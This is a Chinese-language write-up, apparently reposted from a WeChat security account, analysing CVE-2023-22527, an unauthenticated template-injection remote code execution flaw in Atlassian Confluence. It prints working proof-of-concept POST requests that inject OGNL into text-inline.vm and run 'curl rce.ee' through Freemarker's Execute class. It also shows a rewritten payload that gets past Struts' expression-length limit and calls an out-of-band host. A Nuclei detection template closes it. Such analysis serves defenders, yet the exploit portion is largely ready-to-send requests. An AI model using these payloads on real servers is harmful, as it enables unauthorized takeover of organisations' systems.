漏洞描述:
CVE-2023-22527 是 Atlassian Confluence 服务器和数据中心中的一个严重漏洞。此漏洞存在于较旧版本的Confluence Data Center和Server中,允许未经身份验证的攻击者在受影响的实例上实现远程代码执行(RCE)。该漏洞的存在意味着攻击者可以利用特定路径执行任意代码,可能导致对系统的完全控制。
漏洞原因:
漏洞的根本原因是 Confluence 在处理 Velocity 模板文件时存在模板注入漏洞。在一些旧版本中,攻击者可以通过特定的模板注入技巧,绕过身份验证并执行 OGNL 表达式,从而导致系统代码执行。这主要是因为在模板处理过程中未正确过滤和验证用户提供的输入。
漏洞利用:
攻击者利用漏洞的步骤如下:
-
识别漏洞路径: 攻击者首先查找在受影响的 Confluence 实例上触发漏洞的路径。通过检查 Velocity 模板文件,他们发现了一些可疑的代码片段,如
text-inline.vm
和pagelist.vm
。 -
模板注入: 攻击者通过修改输入参数,特别是通过在字符串周围添加双引号等手法,注入恶意 OGNL 表达式。例如,修改原本的
#set ($pageList = $stack.findValue($parameters.pages))
为#set ($pageList = $stack.findValue("$parameters.pages"))
。 -
绕过限制: 在利用过程中,攻击者可能会遇到一些安全限制,比如表达式长度的限制。为了绕过这些限制,他们可能会使用一些技巧,例如使用 Unicode 转义,以确保恶意表达式的执行。
-
远程代码执行: 利用成功后,攻击者通过 OGNL 表达式执行系统命令。在示例中,他们使用了
exec({"curl rce.ee"})
来执行远程命令。
这部分直接利用POC模板注入开始!
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
label=u0027%2b
#requestu005bu0027.KEY_velocity.struts2.contextu0027u005d.internalGet(u0027ognlu0027).findValue((new freemarker.template.utility.Execute()).exec({"curl rce.ee"}),{})%2bu0027
在尝试执行代码时,遇到了一个小问题。经过调试,发现如果使用的OGNL模板长度超过了 Struts 的配置值 struts.ognl.expressionMaxLength,将会触发安全机制,导致解析被阻止。具体的错误信息如下:
ognl.OgnlException: Parsing blocked due to security reasons! [java.lang.SecurityException: This expression exceeded maximum allowed length: getText('AAAA...AAAA')]
原因分析:
这个问题的根本原因是 Struts 的安全设置。当攻击者尝试执行的OGNL模板长度超过了配置的最大允许长度时,系统会阻止解析以防止潜在的恶意代码执行。具体而言,文中提到了 getText('AAAA...AAAA') 这个尝试的有效负载,其中 'AAAA...AAAA' 是表示OGNL表达式的字符串。但由于其长度超过了系统设置,导致解析被拦截。
重新编写利用:
POST /template/aui/text-inline.vm HTTP/1.1Host: {{Hostname}}Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedlabel=u0027%2b#requestu005bu0027.KEY_velocity.struts2.contextu0027u005d.internalGet(u0027ognlu0027).findValue(#parameters.x,{})%2bu0027&x=(new freemarker.template.utility.Execute()).exec({"curl {{interactsh-url}}"})
在这个请求中,有效负载主要位于 label 和 x 参数中。攻击者利用了 Confluence 的模板注入漏洞,通过构造恶意的 OGNL 表达式,执行了一个包含 curl 命令的远程代码。请注意,{{Hostname}} 和 {{interactsh-url}} 是占位符,可能在实际利用时被替换为目标主机和互动式 Shell 的 URL。
label=u0027%2b#requestu005bu0027.KEY_velocity.struts2.contextu0027u005d.internalGet(u0027ognlu0027).findValue(#parameters.x,{})%2bu0027
这部分是一个注入 OGNL 表达式的操作。攻击者通过修改 label 参数中的内容,将 OGNL 表达式嵌入到 Velocity 模板中。在这里,通过使用 Unicode 转义,将字符 ' 转换为 u0027,确保表达式的正确执行。这个 OGNL 表达式的目的是在 Confluence 中寻找并执行特定的 OGNL 表达式,进而触发远程代码执行。
&x=(new freemarker.template.utility.Execute()).exec({"curl {{interactsh-url}}"})
这部分是为了执行远程代码。攻击者通过构造参数 x,使用 Freemarker 模板引擎中的 Execute 工具类,执行了一个包含 curl {{interactsh-url}} 命令的操作。这里 {{interactsh-url}} 可能是一个互动式 Shell 的 URL,攻击者可以通过这个 Shell 进行远程控制。
Nuclei 模板来检测 Atlassian Confluence 实例上的 CVE-2023-22527:
id: CVE-2023-22527
info:
name: Atlassian Confluence - Remote Code Execution
author: iamnooob,rootxharsh,pdresearch
severity: critical
description: |
A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.
Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.
reference:
- https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615
- https://jira.atlassian.com/browse/CONFSERVER-93833
- https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2023-22527
epss-score: 0.00044
epss-percentile: 0.08115
cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: atlassian
product: confluence_data_center
shodan-query: http.component:"Atlassian Confluence"
tags: cve,cve2023,confluence,rce,ssti
http:
- raw:
- |+
POST /template/aui/text-inline.vm HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
label=u0027%2b#requestu005bu0027.KEY_velocity.struts2.contextu0027u005d.internalGet(u0027ognlu0027).findValue(#parameters.x,{})%2bu0027&x=(new freemarker.template.utility.Execute()).exec({"curl {{interactsh-url}}"})
matchers-condition: and
matchers:
- type: word
words:
- 'Empty{name='
- type: word
part: interactsh_protocol
words:
- dns
参考:https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
原文始发于微信公众号(Ots安全):Atlassian Confluence远程代码执行漏洞(CVE-2023-22527)详解与利用分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论